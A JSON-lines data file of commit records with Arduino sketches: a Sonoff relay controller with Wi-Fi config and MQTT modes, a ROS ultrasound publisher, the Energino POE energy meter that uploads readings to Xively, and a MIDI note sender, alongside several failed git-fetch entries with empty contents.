code\n","repos":"fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs","old_file":"wbox2.ino","new_file":"wbox2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fbatta\/wbox-nodejs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5e37dace726ffedc4547495ad5cbd7b563fe4491","subject":"add Sonoff example, with config mode, standalone http mode, and mqtt mode. Also supports manual button toggle in both user modes","message":"add Sonoff example, with config mode, standalone http mode, and mqtt mode. Also supports manual button toggle in both user modes\n","repos":"scentelles\/iot,scentelles\/iot,scentelles\/iot","old_file":"examples\/SONOFF.ino","new_file":"examples\/SONOFF.ino","new_contents":"#include <EEPROM.h>\n#include \"MqttConnection.h\"\n#include <ESP8266WebServer.h>\n\n\nMqttConnection * myMqtt;\nESP8266WebServer server(80);\n\n#define BOOT_MODE_CONFIG 1\n#define BOOT_MODE_MQTT 2\n#define BOOT_MODE_DEFAULT 3\n#define RELAY_STATE_OFF '1'\n#define RELAY_STATE_ON '2'\n\nint bootMode = BOOT_MODE_DEFAULT;\nbool statusGiven = false;\nint pressCount = 0;\nint currentRelayState = RELAY_STATE_OFF;\n\nString sensorName;\nchar tmpS[32];\n\n\/************************* WiFi Access Point *********************************\/\n\nIPAddress apIP(10, 10, 10, 10);\n\n#define BUTTON 0\n#define RELAY 12\n#define LED 13\n#define SPARE 14\n\n\n#define EEPROM_FIELD_SIZE 32\n#define EEPROM_NB_FIELD 5\nchar eepromArray[EEPROM_NB_FIELD][EEPROM_FIELD_SIZE];\n\n\nconst char INDEX_RELAY_HTML[] =\n\"<!DOCTYPE HTML>\"\n\"<html>\"\n\"<head>\"\n\"<meta name = \\\"viewport\\\" content = \\\"width = device-width, initial-scale = 1.0, maximum-scale = 1.0, user-scalable=0\\\">\"\n\"<title>ESP8266 Web Form Demo<\/title>\"\n\"<style>\"\n\"\\\"body { background-color: #808080; font-family: Arial, Helvetica, Sans-Serif; Color: #000000; }\\\"\"\n\"<\/style>\"\n\"<\/head>\"\n\"<body>\"\n\"<h1>RELAY Control<\/h1>\"\n\"<FORM action=\\\"\/\\\" method=\\\"post\\\">\"\n\"<P>\"\n\"RELAY<br>\"\n\"<INPUT type=\\\"radio\\\" name=\\\"RELAY\\\" value=\\\"1\\\">On<BR>\"\n\"<INPUT type=\\\"radio\\\" name=\\\"RELAY\\\" value=\\\"0\\\">Off<BR>\"\n\"<INPUT type=\\\"submit\\\" value=\\\"Send\\\"> <INPUT type=\\\"reset\\\">\"\n\"<\/P>\"\n\"<\/FORM>\"\n\"<\/body>\"\n\"<\/html>\";\n\n\nconst char INDEX_HTML[] =\n\"<!DOCTYPE HTML>\"\n\"<html>\"\n\"<head>\"\n\"<meta name = \\\"viewport\\\" content = \\\"width = device-width, initial-scale = 1.0, maximum-scale = 1.0, user-scalable=0\\\">\"\n\"<title>ESP8266 Web Form Demo<\/title>\"\n\"<style>\"\n\"\\\"body { background-color: #808080; font-family: Arial, Helvetica, Sans-Serif; Color: #000000; }\\\"\"\n\"<\/style>\"\n\"<\/head>\"\n\"<body>\"\n\"<h1>ESP8266 Web Form Demo<\/h1>\"\n\"<FORM action=\\\"\/\\\" method=\\\"post\\\">\"\n\"<P>\"\n\"Sensor name : \"\n\"<INPUT type=\\\"text\\\" name=\\\"SENSOR_NAME\\\" <BR>\"\n\"WIFI access point :\"\n\"<INPUT type=\\\"text\\\" name=\\\"WIFI_NAME\\\" <BR>\"\n\"WIFI password :\"\n\"<INPUT type=\\\"text\\\" name=\\\"WIFI_PWD\\\" <BR>\"\n\"MQTT broker IP address : \"\n\"<INPUT type=\\\"text\\\" name=\\\"MQTT_IP\\\" <BR>\"\n\"MQTT port : \"\n\"<INPUT type=\\\"text\\\" name=\\\"MQTT_PORT\\\" <BR>\"\n\"<INPUT type=\\\"submit\\\" value=\\\"Send\\\"> <INPUT type=\\\"reset\\\">\"\n\"<\/P>\"\n\"<\/FORM>\"\n\"<\/body>\"\n\"<\/html>\";\n\n\nvoid returnOK()\n{\n server.sendHeader(\"Connection\", \"close\");\n server.sendHeader(\"Access-Control-Allow-Origin\", \"*\");\n server.send(200, \"text\/plain\", \"Configuration updated. Rebooting in 10 seconds...\\r\\n\");\n delay (10000);\n ESP.restart();\n}\n\nvoid returnFail(String msg)\n{\n server.sendHeader(\"Connection\", \"close\");\n server.sendHeader(\"Access-Control-Allow-Origin\", \"*\");\n server.send(500, \"text\/plain\", msg + \"\\r\\n\");\n}\n\nvoid handleSubmitRelay()\n{\n String relayValue;\n\n if (!server.hasArg(\"RELAY\")) return returnFail(\"BAD ARGS\");\n relayValue = server.arg(\"RELAY\");\n if (relayValue == \"1\") {\n digitalWrite(LED, LOW);\n\n server.send(200, \"text\/html\", INDEX_RELAY_HTML);\n }\n else if (relayValue == \"0\") {\n digitalWrite(LED, HIGH);\n server.send(200, \"text\/html\", INDEX_RELAY_HTML);\n }\n else {\n returnFail(\"Bad RELAY value\");\n }\n}\n\nvoid handleRootDefault()\n{\n if (server.hasArg(\"RELAY\")) {\n handleSubmitRelay();\n }\n else {\n server.send(200, \"text\/html\", INDEX_RELAY_HTML);\n }\n}\n\n\n\nvoid handleRoot()\n{\n if (server.args() > 1){\n Serial.println(\"Field update requested\");\n sensorName = server.arg(\"SENSOR_NAME\");\n String wifiName = server.arg(\"WIFI_NAME\");\n String wifiPwd = server.arg(\"WIFI_PWD\");\n String mqttIp = server.arg(\"MQTT_IP\");\n String mqttPort = server.arg(\"MQTT_PORT\");\n\n Serial.print(\"sensorName :\");\n Serial.println(sensorName);\n Serial.print(\"wifiName :\");\n Serial.println(wifiName);\n Serial.print(\"wifiPwd :\");\n Serial.println(wifiPwd);\n Serial.print(\"mqttIp :\");\n Serial.println(mqttIp);\n Serial.print(\"mqttPort :\");\n Serial.println(mqttPort);\n\n strcpy(&eepromArray[0][0], sensorName.c_str());\n strcpy(&eepromArray[1][0], wifiName.c_str());\n strcpy(&eepromArray[2][0], wifiPwd.c_str());\n strcpy(&eepromArray[3][0], mqttIp.c_str());\n strcpy(&eepromArray[4][0], mqttPort.c_str());\n\n for (int addr = 0; addr < sizeof(eepromArray); addr++){\n EEPROM.write(addr, ((char*)eepromArray)[addr]);\n }\n EEPROM.commit();\n Serial.println(\"EEPROM updated\");\n returnOK();\n\n }\n else {\n Serial.println(\"no arg\");\n server.send(200, \"text\/html\", INDEX_HTML);\n }\n\n}\n\n\n\n\nvoid handleSubmit()\n{\n String LEDvalue;\n\n if (!server.hasArg(\"LED\")) return returnFail(\"BAD ARGS\");\n LEDvalue = server.arg(\"LED\");\n if (LEDvalue == \"1\") {\n\n server.send(200, \"text\/html\", INDEX_HTML);\n }\n else if (LEDvalue == \"0\") {\n\n server.send(200, \"text\/html\", INDEX_HTML);\n }\n else {\n returnFail(\"Bad LED value\");\n }\n}\n\n\n\nvoid blinkFast(int nbRepeat){\n for (int i = 0; i < nbRepeat; i++){\n digitalWrite(LED, LOW);\n delay(70);\n digitalWrite(LED, HIGH);\n delay(70); \n }\n}\n\n\nvoid blinkSlow(int nbRepeat){\n for (int i = 0; i < nbRepeat; i++){\n digitalWrite(LED, LOW);\n delay(500);\n digitalWrite(LED, HIGH);\n delay(500); \n }\n}\n\nvoid blinkLedConfigMode(){\n blinkFast(1);\n}\n\nvoid deviceReadyBlink(){\n blinkSlow(3);\n}\n\nvoid deviceMqttReadyBlink(){\n blinkSlow(3);\n blinkFast(3);\n blinkSlow(3);\n}\n\n\nvoid processCommandMsg(char* topic, byte* payload, unsigned int length)\n{\n\n Serial.print(\"Checking if state topic\");\n String commandTopic = sensorName + \"\/\" + \"command\";\n if(String(topic) == commandTopic){\n Serial.println(\"Received state topic change\");\n if ((char)payload[0] == RELAY_STATE_ON) {\n Serial.println(\"RELAY STATE ON received\");\n currentRelayState= RELAY_STATE_ON;\n\n digitalWrite(LED, HIGH);\n digitalWrite(RELAY, HIGH);\n char tmpChar = RELAY_STATE_ON;\n myMqtt->publishValue(\"state\", &tmpChar);\n }\n else if ((char)payload[0] == RELAY_STATE_OFF){\n Serial.println(\"RELAY STATE OFF received\");\n currentRelayState= RELAY_STATE_OFF;\n\n digitalWrite(LED, LOW);\n digitalWrite(RELAY, LOW); \n char tmpChar = RELAY_STATE_OFF;\n myMqtt->publishValue(\"state\", &tmpChar); \n }\n else {\n Serial.print(\"Unknown payload : \");\n Serial.println((char)payload[0]);\n }\n\n }\n}\n\n\n\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(BUTTON, INPUT);\n pinMode(RELAY, OUTPUT);\n pinMode(LED, OUTPUT);\n pinMode(SPARE, INPUT);\n\n EEPROM.begin(512);\n\n digitalWrite(LED, LOW);\n delay(3000);\n digitalWrite(LED, HIGH);\n\n for (int addr = 0; addr < sizeof(eepromArray); addr++){\n char tmpChar = (char)EEPROM.read(addr);\n ((char*)eepromArray)[addr] = tmpChar;\n }\n\n sensorName = eepromArray[0];\n String wifiName = eepromArray[1];\n String wifiPwd = eepromArray[2];\n String mqttIp = eepromArray[3];\n String mqttPort = eepromArray[4];\n\n \/\/If button pressed at boot\n\n if(digitalRead(BUTTON) == 0){\n Serial.println(\"a bitch\");\n bootMode = BOOT_MODE_CONFIG;\n Serial.println(\"starting config server\");\n\n WiFi.mode(WIFI_AP);\n WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));\n int result = WiFi.softAP(\"ESP_CONFIG\");\n if(result == true)\n {\n Serial.println(\"Config server ready\");\n }\n else\n {\n Serial.println(\"Config server failed to start!\");\n }\n \n \n server.on(\"\/\", handleRoot);\n server.begin();\n\n }\n else{\n Serial.println(\"Starting with config :\");\n Serial.print(\"\\tObject Name :\");\n Serial.println(sensorName);\n Serial.print(\"\\tWifi Access point :\");\n Serial.println(wifiName);\n Serial.print(\"\\tWifi pwd :\");\n Serial.println(wifiPwd);\n Serial.print(\"\\tMQTT address :\");\n Serial.println(mqttIp.c_str());\n Serial.print(\"\\tMQTT port :\");\n Serial.println(mqttPort);\n\n if(mqttPort != \"\"){\n bootMode = BOOT_MODE_MQTT;\n \n strcpy(tmpS, mqttIp.c_str());\n myMqtt = new MqttConnection(sensorName.c_str(), wifiName.c_str(), wifiPwd.c_str(), tmpS, mqttPort.toInt());\n \n myMqtt->registerCustomProcessing(&processCommandMsg);\n myMqtt->addSubscription(\"command\");\n\n if(myMqtt->connected()){\n deviceMqttReadyBlink();\n }\n else\n {\n Serial.println(\"could not connect to MQTT server\");\n }\n }\n else{\n WiFi.mode(WIFI_STA);\n WiFi.begin(wifiName.c_str(), wifiPwd.c_str());\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(wifiName);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n server.on(\"\/\", handleRootDefault);\n server.begin();\n \n Serial.print(\"Connect to http:\/\/xxxxxx.local or http:\/\/\");\n Serial.println(WiFi.localIP());\n Serial.println(\"last number : \");\n int addressNumber = WiFi.localIP()[3];\n Serial.println(addressNumber);\n delay(1000);\n\n \/\/Blink to indicate last digit of IP address\n int unit = addressNumber % 10;\n int dec = addressNumber \/ 10;\n blinkSlow(dec);\n delay(2000);\n blinkSlow(unit);\n \n\n\n \n }\n\n }\n\n}\n\nvoid toggleRelayState(){\n if(currentRelayState == RELAY_STATE_OFF)\n {\n currentRelayState= RELAY_STATE_ON;\n\n digitalWrite(LED, HIGH);\n digitalWrite(RELAY, HIGH);\n if(bootMode == BOOT_MODE_MQTT){\n char tmpChar = RELAY_STATE_ON;\n myMqtt->publishValue(\"state\", &tmpChar);\n }\n }\n else\n {\n currentRelayState = RELAY_STATE_OFF;\n\n digitalWrite(LED, LOW);\n digitalWrite(RELAY, LOW);\n if(bootMode == BOOT_MODE_MQTT){\n char tmpChar = RELAY_STATE_OFF;\n myMqtt->publishValue(\"state\", &tmpChar);\n }\n }\n\n\n}\n\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if(bootMode == BOOT_MODE_CONFIG){\n server.handleClient();\n blinkLedConfigMode();\n\n}\nelse\n{\n\n\n if(bootMode == BOOT_MODE_MQTT){\n if (!myMqtt->connected()) {\n myMqtt->reconnect();\n statusGiven = false;\n }\n if (myMqtt->connected() & !statusGiven) {\n deviceMqttReadyBlink();\n statusGiven = true;\n }\n myMqtt->loop();\n\n\n }\n else{\n server.handleClient();\n \n }\n\n \/\/In all case monitor HW button\n if(digitalRead(BUTTON) == 0){\n pressCount +=1;\n Serial.print(\"count :\");\n Serial.println(pressCount);\n if(pressCount == 2){\n Serial.println(\"Toggling state\");\n toggleRelayState();\n }\n }\n else{\n pressCount = 0;\n }\n\n\n\n}\n\n\n\ndelay(100);\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SONOFF.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f973165777263ffbb88d19563fb0b779aed9ad3e","subject":"radar sketch","message":"radar sketch\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/radar3-ros.ino","new_file":"testing\/arduino\/radar3-ros.ino","new_contents":"#include <ros.h>\n#include <ros\/time.h>\n#include <sensor_msgs\/Range.h>\n\nros::NodeHandle nh;\n\nsensor_msgs::Range range_msg;\nros::Publisher pub_range1(\"\/ultrasound1\", &range_msg);\nros::Publisher pub_range2(\"\/ultrasound2\", &range_msg);\n\/\/ \"\/arduino_ultrasound\"\n\nchar frameid[] = \"\/ultrasound\";\n\nlong duration;\nfloat getRange_Ultrasound(int pin_num)\n{\n \/\/ The PING))) is triggered by a HIGH pulse of 2 or more microseconds.\n \/\/ Give a short LOW pulse beforehand to ensure a clean HIGH pulse:\n pinMode(pin_num, OUTPUT);\n digitalWrite(pin_num, LOW);\n delayMicroseconds(2);\n digitalWrite(pin_num, HIGH);\n delayMicroseconds(10);\n digitalWrite(pin_num, LOW);\n\n \/\/ The same pin is used to read the signal from the PING))): a HIGH\n \/\/ pulse whose duration is the time (in microseconds) from the sending\n \/\/ of the ping to the reception of its echo off of an object.\n pinMode(pin_num, INPUT);\n duration = pulseIn(pin_num, HIGH);\n\n \/\/ convert the time into a distance\n return duration\/58; \/\/ duration\/29\/2, return centimeters\n}\n\nvoid setup()\n{\n nh.initNode();\n nh.advertise(pub_range1);\n nh.advertise(pub_range2);\n\n range_msg.radiation_type = sensor_msgs::Range::ULTRASOUND;\n range_msg.header.frame_id = frameid;\n range_msg.field_of_view = 0.1; \/\/ fake\n range_msg.min_range = 0.0;\n range_msg.max_range = 2.0;\n}\n\nlong range_time;\n\nvoid loop()\n{\n \/\/publish the adc value every 50 milliseconds\n \/\/since it takes that long for the sensor to stabilize\n if ( millis() >= range_time ){\n range_msg.range = getRange_Ultrasound(5);\n range_msg.header.stamp = nh.now();\n pub_range1.publish(&range_msg);\n\n range_msg.range = getRange_Ultrasound(6);\n range_msg.header.stamp = nh.now();\n pub_range2.publish(&range_msg);\n\n range_time = millis() + 50;\n }\n\n nh.spinOnce();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/radar3-ros.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a01274dc52e42ea8f6e425442ebecd64c2539e88","subject":"add poe version","message":"add poe version\n","repos":"rriggio\/energino,rriggio\/energino,rriggio\/energino,rriggio\/energino","old_file":"sketches\/EnerginoPOE\/EnerginoPOE.ino","new_file":"sketches\/EnerginoPOE\/EnerginoPOE.ino","new_contents":"\/*\n * Energino\n *\n * Energino POE is a energy consumption meter for DC loads\n *\n * This sketch connects an Arduino equipped with the Energino \n * shield and with an Ethernet shield with a web service \n * implementing the COSM (formely Pachube) REST API. It also\n * implements a serial interface.\n *\n * Circuit:\n * Analog inputs attached to pins A0 (Current), A1 (Voltage)\n * Digital output attached to pin D2 (Relay)\n *\n * Supported commands from the serial:\n * #P<integer>, sets the period between two updates (in ms) [default is 2000]\n * #S<0\/1>, sets the relay configuration, 0 load on, 1 load off [default is 0]\n * #A<integer>, sets the value in ohms of the R1 resistor [default is 100000]\n * #B<integer>, sets the value in ohms of the R2 resistor [default is 10000]\n * #C<integer>, sets the offset in mV of the current sensor [default is 2500]\n * #D<integer>, sets the sensitivity in mV of the current sensor [default is 185]\n * #R, resest the configuration to the defaults\n * #F<feed>, sets the feed id [default is 0]\n * #K<key>, sets the Xively authentication key [default is -]\n * #U<url>, sets the Xively URL [default is https:\/\/api.xively.com\/v2\/feeds\/]\n *\n * No updates are sent over the Ethernet interface if the feed id is set to 0\n *\n * Serial putput:\n * #Energino,0,<voltage>,<current>,<power>,<relay>,<period>,<samples>,<feed>,<url>,<key>\n *\n * RESTful interface: \n * Reading:\n * GET http:\/\/<ipaddress>\/arduino\/datastreams\n * GET http:\/\/<ipaddress>\/arduino\/datastreams\/voltage\n * GET http:\/\/<ipaddress>\/arduino\/datastreams\/current\n * GET http:\/\/<ipaddress>\/arduino\/datastreams\/power\n * GET http:\/\/<ipaddress>\/arduino\/datastreams\/switch\n * Switching on:\n * GET http:\/\/<ipaddress>\/arduino\/datastreams\/switch\/0\n * Switching off:\n * GET http:\/\/<ipaddress>\/arduino\/datastreams\/switch\/1\n *\n * created 9 November 2013\n * by Roberto Riggio\n *\n * This code is released under the BSD Licence\n *\n *\/\n\n#include <Process.h>\n#include <Bridge.h>\n#include <YunServer.h>\n#include <YunClient.h>\n#include <avr\/eeprom.h>\n\n#define APIKEY \"foo\" \/\/ replace your Xively api key here\n#define FEEDID 0 \/\/ replace your feed ID\n#define FEEDSURL \"https:\/\/api.xively.com\/v2\/feeds\/\" \/\/ replace your remote service IP address\n\n#define RELAYPIN 2\n#define CURRENTPIN A0\n#define VOLTAGEPIN A1\n\n\/\/ Energino parameters\nint R1 = 390;\nint R2 = 100;\nint OFFSET = 2500;\nint SENSITIVITY = 185;\nint PERIOD = 2000;\n\n\/\/ Control loop paramters\nlong sleep = 0;\nlong delta = 0;\n\n\/\/ Last computed values\nfloat VFinal = 0.0;\nfloat IFinal = 0.0;\n\n\/\/ magic string\nconst char MAGIC[] = \"EnerginoPOE\";\nconst int REVISION = 1;\n\n\/\/ Permanent configuration\nstruct settings_t {\n char magic[12];\n long period;\n int r1;\n int r2;\n int offset;\n int sensitivity;\n char apikey[49];\n long feedid;\n char feedsurl[60];\n} \nsettings;\n\nvoid reset() {\n strcpy (settings.magic,MAGIC);\n settings.period = PERIOD;\n settings.r1 = R1;\n settings.r2 = R2;\n settings.offset = OFFSET;\n settings.sensitivity = SENSITIVITY;\n strcpy (settings.apikey,APIKEY); \n settings.feedid = FEEDID;\n strcpy (settings.feedsurl,FEEDSURL); \n}\n\n\/\/ rest server\nYunServer server;\n\nvoid setup() {\n \/\/ Set serial port\n Serial.begin(115200); \n \/\/ Set external vref\n analogReference(EXTERNAL);\n \/\/ Default on\n pinMode(RELAYPIN, OUTPUT);\n digitalWrite(RELAYPIN, LOW);\n \/\/ Init bridge library\n Bridge.begin();\n \/\/ Loading setting \n eeprom_read_block((void*)&settings, (void*)0, sizeof(settings));\n if (strcmp(settings.magic, MAGIC) != 0) {\n reset();\n eeprom_write_block((const void*)&settings, (void*)0, sizeof(settings));\n }\n \/\/ set sleep counter\n resetSleep(settings.period);\n \/\/ listen on port\n server.listenOnLocalhost();\n server.begin();\n \/\/ Use the led 13 to notify that the\n \/\/ setup completed\n pinMode(13,OUTPUT);\n digitalWrite(13, HIGH);\n}\n\nvoid loop() {\n \/\/ Make sure that update period is not too high\n \/\/ when pushing data to Xively (one sample every \n \/\/ 5 seconds should be a reasonable lower boud)\n if ((settings.feedid != 0) && (settings.period < 2000)) {\n resetSleep(2000);\n }\n\n \/\/ Start profiling\n long started = millis();\n\n \/\/ Get clients coming from server\n YunClient client = server.accept();\n\n \/\/ There is a new client?\n if (client) {\n \/\/ Process request\n process(client);\n \/\/ Close connection and free resources.\n client.stop();\n }\n\n \/\/ Parse incoming commands\n serParseCommand();\n\n \/\/ Instant values are too floating,\n \/\/ let's smooth them up\n long VRaw = 0;\n long IRaw = 0;\n\n for(long i = 0; i < sleep; i++) {\n VRaw += analogRead(VOLTAGEPIN);\n IRaw += analogRead(CURRENTPIN);\n }\n\n \/\/ Conversion\n VFinal = scaleVoltage((float)VRaw\/sleep);\n IFinal = scaleCurrent((float)IRaw\/sleep);\n\n \/\/ dump to serial\n dumpToSerial();\n\n \/\/ send data to remote host\n sendData();\n\n \/\/ profiling\n delta = abs(millis() - started);\n\n \/\/ Control loop\n sleep -= 5 * (delta - settings.period);\n if (sleep < 5) {\n sleep = 5;\n }\n\n}\n\n\/\/ this method makes a HTTP connection to the server:\nvoid sendData() {\n\n if (settings.feedid == 0) {\n return;\n }\n \n \/\/ form the string for the API header parameter:\n String apiString = \"X-ApiKey: \";\n apiString += settings.apikey;\n\n \/\/ form the string for the URL parameter:\n String url = settings.feedsurl;\n url += settings.feedid;\n url += \".csv\";\n\n \/\/ Send the HTTP PUT request\n\n \/\/ Is better to declare the Process here, so when the\n \/\/ sendData function finishes the resources are immediately\n \/\/ released. Declaring it global works too, BTW.\n Process xively;\n\n xively.begin(\"curl\");\n xively.addParameter(\"-k\");\n xively.addParameter(\"--silent\");\n xively.addParameter(\"--request\");\n xively.addParameter(\"PUT\");\n xively.addParameter(\"--data\");\n\n String dataString = \"current,\";\n dataString += IFinal;\n dataString += \"\\nvoltage,\";\n dataString += VFinal;\n dataString += \"\\npower,\";\n dataString += VFinal*IFinal;\n dataString += \"\\nswitch,\";\n dataString += digitalRead(RELAYPIN);\n\n xively.addParameter(dataString);\n xively.addParameter(\"--header\");\n xively.addParameter(apiString); \n xively.addParameter(url);\n xively.run();\n\n}\n\nvoid serParseCommand()\n{\n \/\/ if serial is not available there is no point in continuing\n if (!Serial.available()) {\n return;\n }\n \/\/ working vars\n char cmd = '\\0';\n int i, serAva;\n char inputBytes[60] = { \n '\\0' };\n char * inputBytesPtr = &inputBytes[0];\n \/\/ read command from serial\n serAva = Serial.available();\n for (i = 0; i < serAva; i++) {\n char chr = Serial.read();\n if (i == 0) {\n if (chr != '#') {\n return;\n } \n else {\n continue;\n }\n } \n else if (i == 1) {\n cmd = chr;\n } \n else{\n inputBytes[i-2] = chr;\n }\n }\n \/\/ null-terminate input buffer\n inputBytes[i] = '\\0';\n \/\/ execute command\n if (cmd == 'R') {\n reset();\n }\n else if (cmd == 'F') {\n long value = atol(inputBytesPtr);\n if (value >= 0) {\n settings.feedid = value;\n }\n } \n else if (cmd == 'K') {\n strncpy(settings.apikey, inputBytes,49);\n settings.apikey[48] = '\\0';\n }\n else if (cmd == 'U') {\n strncpy(settings.feedsurl, inputBytes,60);\n settings.feedsurl[59] = '\\0';\n }\n else {\n int value = atoi(inputBytesPtr);\n if (value < 0) {\n return;\n }\n if (cmd == 'P') {\n resetSleep(value);\n } \n else if (cmd == 'A') {\n settings.r1 = value;\n } \n else if (cmd == 'B') {\n settings.r2 = value;\n } \n else if (cmd == 'C') {\n settings.offset = value;\n } \n else if (cmd == 'D') {\n settings.sensitivity = value;\n }\n else if (cmd == 'S') {\n if (value > 0) {\n Serial.println(\"@switch: high\");\n digitalWrite(RELAYPIN, HIGH);\n } \n else {\n Serial.println(\"@switch: low\");\n digitalWrite(RELAYPIN, LOW);\n }\n } \n }\n eeprom_write_block((const void*)&settings, (void*)0, sizeof(settings)); \n}\n\nvoid dumpToSerial() {\n \/\/ Print data also on the serial\n Serial.print(\"#\");\n Serial.print(MAGIC);\n Serial.print(\",\");\n Serial.print(REVISION);\n Serial.print(\",\");\n Serial.print(VFinal,3);\n Serial.print(\",\");\n Serial.print(IFinal,3);\n Serial.print(\",\");\n Serial.print(VFinal * IFinal,3);\n Serial.print(\",\");\n Serial.print(digitalRead(RELAYPIN));\n Serial.print(\",\");\n Serial.print(delta);\n Serial.print(\",\");\n Serial.print(sleep);\n Serial.print(\",\");\n Serial.print(settings.feedid);\n Serial.print(\",\");\n Serial.print(settings.feedsurl);\n Serial.print(\",\");\n Serial.println(settings.apikey);\n}\n\nfloat scaleVoltage(float voltage) {\n float tmp = ( voltage * 5 * (settings.r1 + settings.r2)) \/ ( settings.r2 * 1024 );\n return (tmp > 0) ? tmp : 0.0;\n}\n\nfloat scaleCurrent(float current) {\n float tmp = ( current * 5000 \/ 1024 - settings.offset) \/ settings.sensitivity;\n return (tmp > 0) ? tmp : 0.0;\n}\n\nvoid resetSleep(long value) {\n sleep = (value * 4400) \/ 1000;\n settings.period = value;\n}\n\nvoid process(YunClient client) {\n\n String command = client.readStringUntil('\/');\n command.trim();\n\n if (command == \"datastreams\") {\n\n String subCommand = client.readStringUntil('\/');\n subCommand.trim();\n\n if (subCommand == \"current\") {\n sendReply(client,subCommand,IFinal);\n return;\n }\n\n if (subCommand == \"voltage\") {\n sendReply(client,subCommand,VFinal);\n return;\n }\n\n if (subCommand == \"power\") {\n sendReply(client,subCommand,VFinal*IFinal);\n return;\n }\n\n if (subCommand == \"switch\") {\n char c = client.read();\n if (c == '0') {\n digitalWrite(RELAYPIN, LOW);\n } \n if (c == '1') {\n digitalWrite(RELAYPIN, HIGH);\n } \n sendReply(client,subCommand,digitalRead(RELAYPIN));\n return;\n }\n\n client.print(F(\"{\\\"version\\\":\\\"1.0.0\\\",\"));\n client.print(F(\"\\\"datastreams\\\":[\"));\n client.print(F(\"{\\\"id\\\":\\\"voltage\\\",\\\"current_value\\\":\"));\n client.print(VFinal);\n client.println(F(\"},\"));\n client.print(F(\"{\\\"id\\\":\\\"current\\\",\\\"current_value\\\":\"));\n client.print(IFinal);\n client.println(F(\"},\"));\n client.print(F(\"{\\\"id\\\":\\\"power\\\",\\\"current_value\\\":\"));\n client.print(VFinal * IFinal);\n client.println(F(\"},\"));\n client.print(F(\"{\\\"id\\\":\\\"switch\\\",\\\"current_value\\\":\"));\n client.print(digitalRead(RELAYPIN));\n client.println(F(\"}\"));\n client.println(F(\"]\"));\n client.println(F(\"}\"));\n }\n\n}\n\nvoid sendReply(YunClient client, String cmd, float value) {\n client.print(F(\"{\\\"version\\\":\\\"1.0.0\\\",\"));\n client.print(F(\"\\\"id\\\":\\\"\"));\n client.print(cmd);\n client.print(F(\"\\\",\\\"current_value\\\":\"));\n client.print(value);\n client.println(F(\"}\"));\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/EnerginoPOE\/EnerginoPOE.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"cbbff3112d2b517821e0388cdfd0d9866247df74","subject":"add config variables","message":"add config variables\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7242f2192f2695c92bc0036b23481beb54993d61","subject":"Improves bike arduino code after testing it in the room.","message":"Improves bike arduino code after testing it in the room.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"room\/arduino\/bike\/bike.ino","new_file":"room\/arduino\/bike\/bike.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f2e40ae198b44f84e1f7ffd58dd390149e6aaa51","subject":"arduino code for sending notes to diff channels","message":"arduino code for sending notes to diff channels","repos":"aniketrege\/midi_band,aniketrege\/midi_band,aniketrege\/midi_band,aniketrege\/midi_band,aniketrege\/midi_band,aniketrege\/midi_band","old_file":"src\/channels_ard_midi\/channels_ard_midi.ino","new_file":"src\/channels_ard_midi\/channels_ard_midi.ino","new_contents":"#define C4 0x30\n#define Cs4 0x31\n#define D4 0x32\n#define E4 0x34\n#define F4 0x35\n#define G4 0x37\n#define A4a 0x39\n#define B4 0x3B\n\n#define C5 0x3C\n#define D5 0x3E\n#define E5 0x40\n#define F5 0x41\n#define G5 0x43\n#define A5a 0x45\n#define As5 0x46\n#define B5 0x47\n#define C6 0x48\n#define Cs6 0x49\nvoid midi(int cmd, int data1, int data2);\nvoid setup() {\n \/\/ put your setup code here, to run once:\nSerial.begin(9600);\n}\nint val=0;\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\nint i=0;\n midi(0x90,C5,0x55);\n midi(0xB0,12,val=val+5);\n delay(200);\n midi(0x80,C5,0x55);\n delay(100);\n if(val>127)\n val=0;\n\n}\nvoid midi(int cmd, int data1, int data2)\n{\nSerial.write(cmd);\nSerial.write(data1);\nSerial.write(data2);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/channels_ard_midi\/channels_ard_midi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} 